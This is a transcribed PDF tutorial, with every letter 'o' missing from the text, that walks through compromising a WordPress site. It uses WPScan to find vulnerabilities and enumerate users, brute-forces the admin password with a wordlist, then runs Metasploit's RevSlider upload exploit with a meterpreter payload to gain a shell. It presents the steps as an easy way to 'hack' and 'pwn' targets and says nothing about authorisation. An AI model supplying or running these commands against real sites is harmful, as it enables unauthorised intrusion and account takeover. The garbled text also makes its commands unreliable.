WordPress Penetration Testing using WPScan & Metasploit

Transcription

1 P a g e 1 WrdPress Penetratin Testing using WPScan & Metasplit Authr = Behruz Mansri mr.mansri@yah.cm

2 P a g e 2 In this tutrial, I will shw yu hw t use WPScan and Metasplit t hack a WrdPress website easily. Yu will learn hw t scan WrdPress sites fr ptential vulnerabilities, take advantage f vulnerabilities t wn the victim, enumerate WrdPress users, brute frce WrdPress accunts, and uplad the infamus meterpreter shell n the target s system using Metasplit Framewrk. In shrt, I will explain very well the fllwing: Hw T Use WPScan T Find Vulnerabilities T Explit Effectively Hw T Critically Think And Examine Ptential Vulnerabilities Hw T Take Advantage Of The Vulnerabilities Disclsed By WPScan Hw T Enumerate WrdPress Users/Accunts Hw T Brute Frce The WrdPress Admin Accunt Passwrd Hw T Use Metasplit T Explit A Critical Plugin Vulnerability Discvered By WPScan Hw T Use A Paylad In Metasplit T Explit WrdPress Open WPScan Yu can pen up a terminal and type in wpscan r g t Applicatins > Web Applicatin Analysis > WPScan

3 P a g e 3 Update Yur WPScan s Vulnerabilities Database. The first thing t d befre is ensuring that yur WPScan s vulnerabilities database is up-t-date. Type the subsequent cmmand int terminal t update the database: wpscan --update If yu have this prblem We will enter anther cmmand wpscan --update --verbse

4 P a g e 4

5 P a g e 5 Start Scanning Website Fr WrdPress/Plugins/Themes Vulnerabilities Type the subsequent cmmand int terminal t scan the target s website fr ptentially explitable vulnerabilities: wpscan url targetwrdpressurl.cm

6 P a g e 6

7 P a g e 7 As we can see, WPScan has discvered varius facts abut the target s website including and nt limited t: XMLRPC.php (XML-RPC Interface) is pen fr explitatin like brute-frcing and DDS pingbacks. WrdPress cre versin is identified: WrdPress cre vulnerability: wp-register.php Multiple Parameter XSS admin.php Mdule Cnfiguratin Security Bypass XMLRPC Pingback API Internal/External Prt Scanning XMLRPC pingback additinal issues wp-includes/cmment.php Bypass Spam Restrictins Multiple Crss-Site Scripting (XSS) in request_filesystem_credentials() Crss-Site Scripting (XSS) in wp-admin/plugins.php wp-includes/capabilities.php Remte Authenticated Administratr Delete Actin Bypass Remte Authenticated Administratr Add Actin Bypass Lng Passwrd Denial f Service (DS)

8 P a g e 8 Server Side Request Frgery (SSRF) Pst via Checks mail.example.cm by Default RSS and Atm Feed Escaping Applicatin Denial f Service (DS) (unpatched) Authenticated Arbitrary File Deletin WrdPress theme and versin used identified. The Red! sign refers t a specific cmpnent f a site being vulnerable t explitatin.

9 P a g e 9 As WPScan reveals that the site has: Vulnerable Cntact Frm with a Security Bypass, File Uplad RCE Available (References: WPVulnDB, SecurityFcus, CVE MITRE, PacketStrmSecurity) Vulnerable LAyerSlider with a Style Editing CSRF, Remte Path Traversal File Access, CSRF / Authenticated Stred XSS & SQL Injectin Available (References: WPVulnDB,PacketStrmSecurity, secunia, wphutte) It s imprtant t nte that even when WPScan cannt determine a versin f a specific plugin, it will print ut a list f all ptential vulnerabilities. It is beneficial t take the time t review, visit the reference sites individually, and execute these explits t determine whether the target site is vulnerable t them r nt. Just because a plugin versin cannt be determined des nt mean the site is nt vulnerable.

10 P a g e 10 It is beneficial t take the time t review vulnerabilities, visit the reference sites individually, and execute these explits t determine whether the target site is vulnerable t them r nt. Just because a plugin versin cannt be determined des nt mean the site is nt vulnerable. Reference Sites Yu Shuld Use T Cnduct Research Fr Ptential Vulnerabilities An interesting example Suppse the result f scanning a site is this way:

11 P a g e 11 The target s site is vulnerable t tw critical Slider Revlutin explits: Lcal File Inclusin Shell Uplad We can carry ut these attacks easily. Fr example, we can use the Slider Revlutin Uplad Execute Explit via Metasplit. Metasplit already has this explit ready t use fr yur pleasure. One mre thing befre we prceed with the Metasplit Framewrk Tutrial: Hw T Enumerate WrdPress Users/Accunts The WrdPress user/accunt enumeratin tl integrated int WPScan is deplyed t btain a list f registered WrdPress users frm the target s website. User enumeratin is imperative when a hacker needs t btain access t a particular target via brute frcing the target s WrdPress administratr accunt. The WPScan user enumeratin tl will scan the target s site fr WrdPress authrs and usernames. Deply the subsequent cmmand t enumerate the WrdPress users: wpscan url targetwrdpressurl.cm enumerate u

12 P a g e 12 As we can see, WPScan s User Enumeratin Tl identified: Tw user accunts, particularly the mst imprtant: admin (Default admin name left unchanged) admin is still used. Secnd accunt may pssess admin privileges, can brute frce bth simultaneusly if required. Hw T Brute Frce The WrdPress Admin Accunt Passwrd Type the subsequent cmmand int terminal t brute frce the passwrd fr user admin: wpscan url targetwrdpressurl.cm wrdlist /usr/share/wrdlists/rckyu.txt (replace wrdlist and lcatin with yur chice) username admin (yur target s username) threads 2 (replace the number f threads yu wuld like t use) Fr a clean versin withut thse annying brackets I just used, here is the cmmand: wpscan url targetwrdpressurl.cm wrdlist /usr/share/wrdlists/rckyu.txt username admin threads 2 Eventually, yu culd see the passwrd listed in terminal beside the lgin ID.

13 P a g e 13 Launch Metasplit Framewrk Via Yur Linux Distr Desktp FYI, even thugh this RevSlider plugin vulnerability has been patched, many WrdPress websites ut there still haven t updated their RevSlider plugin, which makes them susceptible t getting wned by 1337 hax0rs. Type In The Subsequent Cmmands Int Terminal: search revslider use explit/unix/webapp/wp_revslider_uplad_execute shw ptins

14 P a g e 14 Yu need t set yur target s website URL using the subsequent cmmand: set rhst /targetsiteurl.cm (Replace IP Address with site s IP r simply replace target s site URL.) AND Yu need t set yur target s URI base path t their WrdPress applicatin using the subsequent cmmand: set targeturi /wrdpress (Replace /wrdpress with individual directry path if WrdPress is nt installed in /) Use A Paylad We need t set a paylad. In ur demnstratin, we use the ntrius meterpreter paylad t pwn ur target. Type in the subsequent cmmands in Terminal: set paylad php/meterpreter/bind_tcp shw ptins

15 P a g e 15 Make sure that rhst fr bth mdule and paylad ptins are filled with yur target s site IP address/url. Yu culd check/cnfirm if the target is vulnerable by typing in check cmmand int the terminal. Yu wuld get the respnse message: The target appears t be vulnerable. We already knw that, but just t check again. Nw t get the meterpreter shell n the target s system, simply type in explit cmmand int the terminal. If successful, the fllwing messages will shw in terminal: (Target s IP Address Replaced) Our paylad is at /wrdpress/wpcntent/plugins/revslider/temp/uplad (Target s IP Address Replaced) Calling paylad Deleted CDNSJ.php

16 P a g e 16 Deleted../revslider.zip I hpe the training is useful mr.mansri@yah.cm Instagram.cm/Behruz_mansri